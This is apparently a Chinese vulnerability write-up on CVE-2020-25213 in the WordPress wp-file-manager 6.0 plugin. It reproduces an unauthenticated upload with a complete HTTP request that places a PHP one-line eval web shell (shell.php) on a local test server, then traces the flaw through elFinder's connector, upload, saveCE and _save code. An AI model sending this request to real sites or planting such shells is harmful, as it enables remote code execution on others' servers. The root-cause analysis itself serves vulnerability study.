WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213
1.漏洞复现
WordPress 6.2
插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org
复现
后台,安装、启动插件
前台,提交请求包:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--
访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php
2.逆向分析
从敏感函数逆向分析
elFinderVolumeLocalFileSystem类
敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法
/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php
protected function _save($fp, $dir, $name, $stat)
{
$path = $this->_joinPath($dir, $name);
$meta = stream_get_meta_data($fp);
$uri = isset($meta['uri']) ? $meta['uri'] : '';
if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
...
if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {
$uri = $meta['uri'],$meta 取决于 $fp
<?php
// stream_get_meta_data语法示例
$fp = fopen('d:/flag.txt', 'r');
$meta = stream_get_meta_data($fp);
echo $meta['uri']; // d:/flag.txt
$path 是 $dir.$name 的拼接结果
这样如果 $fp 打开的一句话木马,并且 $path 为可访问 WEB路径,就可以 GetShell
elFinderVolumeDriver类
elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法
protected function saveCE($fp, $dir, $name, $stat)
{
$res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));
elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法
public function upload($fp, $dst, $name, $tmpname, $hashes = array())
{
...
$dstpath = $this->decode($dst);
...
if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {
$dstpath 和 $name 代表 copy 到的路径,$dstpath 取决于 $dst
查看 decode方法
protected function decode($hash)
{
if (strpos($hash, $this->id) === 0) {
...
return $this->abspathCE($path);
}
return '';
}
可以看出需要正确的 id 才能得到路径
elFinder类
在 elFinder类 的构造方法可以看到使用了 id
public function __construct($opts)
{
...
if ($volume->mount($o)) {
$id = $volume->id();
在下面添加:
ob_end_flush();
var_dump($id);
直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id
string(3) "l1_"
string(3) "t1_"
{"error":["errUnknownCmd"]}
其中 l1_ 是可以用的,也就是 $dst 要为 l1_
elFinder类
elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类
elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法
protected function upload($args)
{
...
if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {
其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法
public function __construct($opts)
{
...
$volume = new $class();
在下面添加:
ob_end_flush();
var_dump($volume);
直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象
object(elFinderVolumeLocalFileSystem)#4 (61) {
...
再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的
protected function upload($args)
{
...
$target = $args['target'];
...
$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
...
foreach ($files['name'] as $i => $name) {
...
$tmpname = $files['tmp_name'][$i];
...
if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {
...
if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {
可以看出来都存在 $args 中
elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法
public function exec($cmd, $args)
{
$result = $this->$cmd($args);
如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了
elFinderConnector类
elFinderConnector类 的 run方法 调用了 exec方法
public function run()
{
...
$src = $isPost ? array_merge($_GET, $_POST) : $_GET;
...
$cmd = isset($src['cmd']) ? $src['cmd'] : '';
...
foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
...
$arg = isset($src[$name]) ? $src[$name] : '';
...
$args[$name] = $arg;
}
...
$args['FILES'] = $_FILES;
...
$this->output($this->elFinder->exec($cmd, $args));
可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法
当同时上传文件时,$args['FILES'] 将存储上传的文件的信息
elFinder类
在 elFinder类 可以看到 commandArgsList方法
protected $commands = array(
...
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
...
public function commandArgsList($cmd)
{
if ($this->commandExists($cmd)) {
$list = $this->commands[$cmd];
$list['reqid'] = false;
} else {
$list = array();
}
return $list;
}
思路回到 elFinderConnector类
可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_
array(18) {
["target"]=>
string(3) "l1_"
...
["FILES"]=>
array(1) {
["upload"]=>
array(5) {
["name"]=>
array(1) {
[0]=>
string(9) "shell.php"
}
...
["tmp_name"]=>
array(1) {
[0]=>
string(22) "C:\Windows\php147A.tmp"
思路回到 elFinderVolumeLocalFileSystem类
可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径
connector.minimal.php
connector.minimal.php 调用了 run方法
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
elFinderVolumeLocalFileSystem类
在 $path = $this->_joinPath($dir, $name); 下面添加:
ob_end_flush();
var_dump($path);
提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php